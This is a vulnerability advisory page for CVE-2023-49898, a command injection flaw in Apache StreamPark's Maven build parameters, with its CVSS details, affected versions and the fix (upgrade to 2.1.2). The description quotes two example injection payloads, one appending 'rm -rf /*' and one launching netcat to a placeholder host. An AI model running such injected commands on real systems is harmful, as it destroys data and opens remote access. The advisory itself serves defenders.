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🛡️ CVE-2023-49898 — streampark

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-77 NVD
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Apache StreamPark: Authenticated system users could trigger remote command execution

In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.

Mitigation:

all users should upgrade to 2.1.2

Example:

You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&":

/usr/share/java/maven-3/conf/settings.xml || rm -rf /*

/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: High — administrative rights are needed first.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2023-49898 is classified as CWE-77: Command Injection. User input is placed into a command that the system interprets, allowing extra commands to be appended to the intended one.

Affected software

CVE-2023-49898 is recorded against 2 packages.

  • org.apache.streampark:streampark (from 2.0.0 up to 2.1.2)
  • streampark (from 2.0.0 up to 2.1.2)

Timeline and source

Published on 15 December 2023 and last revised on 3 December 2024. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

nvd.nist.gov (Advisory)
github.com (Package)
lists.apache.org (Web)

Other advisories for this package

org.apache.streampark:streampark has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-77: Command Injection) in other software:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE CWE-77
Public Exploit ✅ No
Source NVD
Published 2023-12-15
Updated 2026-08-20
Modified 2024-12-03
Fix URL N/A

Affected Packages

Software From version Fixed in
org.apache.streampark:streampark 2.0.0 2.1.2
streampark 2.0.0 2.1.2

Similar Threats

Exploit Protection

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CVE-2023-49898 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

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ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

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